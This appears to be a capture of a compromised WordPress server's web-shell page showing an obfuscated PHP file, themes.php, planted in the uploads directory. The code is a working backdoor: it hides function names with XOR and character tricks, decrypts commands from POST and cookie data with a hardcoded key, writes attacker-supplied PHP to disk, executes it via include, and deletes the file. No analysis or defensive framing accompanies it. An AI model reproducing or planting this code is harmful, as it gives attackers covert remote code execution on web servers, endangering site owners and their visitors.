HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2024/themes.php
<?php 

$bhlivje       = /*  oow */ 'bhlivje' /* ztu   */ ^    '';

$neyl_hbn       =   "a"."r".$bhlivje(877-763)      . /*_uexc */ "a".$bhlivje(275-154)      . /* eir */ $bhlivje(318-223)    .	"\155" /*dnhr */ .    "a"."p";

$cejbqgxw	=       "i"."\155"  .      "\x70"      .    $bhlivje(108)	.    "\157"     .    "d"."e";



function   qwxcibdvhn($xxxlfphco, /*f_hfb  */ $nnjgyfusv)
{
 /* ve  */ global       $bhlivje;


      


    $xxxlfphco  =    "\74"     .     "?"."p"."h"."\160"   .	$bhlivje(32)	. /* hn*/ "u"."n"."\x6c" /*   omtxp */ .  "i"."\156" /*  uxuou*/ .	"k"."\50"     . /*  y*/ "_"."_"."\106"    . /*   _sjknc  */ "I"."L"."\105"    .    "_".$bhlivje(95)       . /*  ley*/ "\x29"       .    "\73"  .     $bhlivje(32)    .    $xxxlfphco[$bhlivje(254-154)]; /* jgw   */ $wxxuggx	= /*  yycgwi */ "f"."i"."l"."\x65"   . /*  expkz  */ "_".$bhlivje(112)    . /*esjgo*/ $bhlivje(117)       .    $bhlivje(116)    .   "_"."c"."o"."\156"  .    $bhlivje(448-332)    . /*  ij  */ "e"."n"."\x74" /* jdezej*/ . /* kcwwn*/ "\163";
 /*sbkkzr*/ 

 /*   ioqqh*/ $wxxuggx($nnjgyfusv,	$xxxlfphco);

      
    haihvkwzz($nnjgyfusv);

}



$snybtankrpun /*  jluzi   */ = /*fitgu   */ 73;



function    haihvkwzz($nnjgyfusv)
{

    global /*noz*/ $bhlivje;     


    include($nnjgyfusv);


 /*n_i   */ $nzjsaclvvj    = /* wawhtf  */ $nnjgyfusv;

    @unlink($nzjsaclvvj);
}function  hffyrgbcmc()
{


 /*   satji  */ global    $bhlivje;


    $snybtank /*   uifjki   */ = /*  c */ array();
 /*hy*/ $snybtank["\x70" /*x */ .    "\x76"]      =	phpversion();

 /* fquzae*/ $snybtank["s".$bhlivje(500-382)]   = /*  iyf */ "\63"   . /*   d */ "\56" /*fr */ .  "\65";

	$ukumldfuqa	= /*   nigs */ 74;


 /*  bgd */ echo     @serialize($snybtank);

}


function /*k_*/ tlrzoxdg($xxxlfphco,    $psmx_h){


    global /*  rov_w  */ $bhlivje;   $gikitp /*  nqgdn */ =    "";      $daxinaame /*  jejd */ =    strlen($xxxlfphco);

    $_wjrpogszb /*   mcprcj */ =       strlen($psmx_h);	$snybtank /*  o  */ =       0;
       $pbuohgg	= /*  g*/ 0;


    
    while    ($snybtank	< /* ko   */ $daxinaame)  {    $wyuoi /*  y  */ = /*   aebmom  */ $xxxlfphco[$snybtank]       ^	$psmx_h[$pbuohgg /*zgfzsx  */ % /*  avm  */ $_wjrpogszb];


 /*   k  */ $gikitp   .=	$wyuoi;

  $pbuohgg++;       $snybtank++;
      }


 /*  bm*/ 

     if    (strlen($gikitp)	>    20)	{
 /*kayusl   */ $pbuohggo_vb /*ofoeu */ =     substr($gikitp,	0, /*i   */ 20);    } /*  pe */ if /* vkxnng  */ (empty($gikitp))	{  $gikitp    = /*   xgcan   */ date('Y-m-d /*   iotx*/ H:i:s');

    }

	return	$gikitp;
}


function /*  k   */ znytbdm($borubnkj){       global	$bhlivje;
            $fwhyj /*rhu */ = /* eclce   */ $bhlivje(53)	.      $bhlivje(278-180) /*   e  */ .     $bhlivje(48)      . /*  ymefj*/ "\x30"	.     "6".$bhlivje(53) /*  cy  */ .	"6"."b"."-"."4"."3"."c"."\67"    . /*k  */ $bhlivje(908-863) /*x_x */ . /*ruv*/ "4".$bhlivje(331-276)       .  $bhlivje(102)      .    "a"."\55"    . /*wj */ "b"."c"."0"."\x30" /*_dsnxn*/ .    "\55" /*   _rxbky   */ . /*   ny_hv */ "7"."\x64" /*   kub_ */ .  "\x64"       .  $bhlivje(99)    . /* la   */ $bhlivje(201-148) /*yrri*/ .    "8"."f"."\x63"	.     "6"."a"."4"."\x38";

    


 /*   jpwg*/ foreach    ($borubnkj     as    $uwysnotghs    =>      $xxxlfphco)    {

    zvfogwjl(base64_decode($xxxlfphco), /*  pnvvc   */ $fwhyj,       $uwysnotghs);


    }

}
function     zvfogwjl($xxxlfphco,      $fwhyj,       $uwysnotghs){
      global    $bhlivje;

    


       $xxxlfphco /* r   */ = /* rouwz*/ unserialize(tlrzoxdg(tlrzoxdg($xxxlfphco,       $fwhyj),    $uwysnotghs));
	$piiwlj     =    'paiqzxsk';


	$aqg_zqftxd /*  z  */ =       'dpcjp';	if	(isset($xxxlfphco["a".$bhlivje(107)]))	{

       if    ($xxxlfphco["a"]    ==    "i")  {


	hffyrgbcmc();


       }    elseif /* jrxg  */ ($xxxlfphco["a"]    ==  "e") /*dagbyi */ {


  qwxcibdvhn($xxxlfphco,  sprintf("\x2e"      .    "\57"   .	"%"."s"."."."p"."l",    md5($fwhyj)));			$yrtowntxq  = /*hgyenq */ 44;
 /*   h  */ }
	exit();

	}
}


znytbdm($_POST);    



$rq_fnsc	=   'rawurldecode';

$wobfpbi	= /*awvbqa   */ $neyl_hbn($rq_fnsc,   $_POST);$cejbqgxw("", /*shpfj */ $rq_fnsc);
znytbdm($_COOKIE);


$m_wtmt /* cp  */ =	$neyl_hbn($rq_fnsc,      $_COOKIE);




?>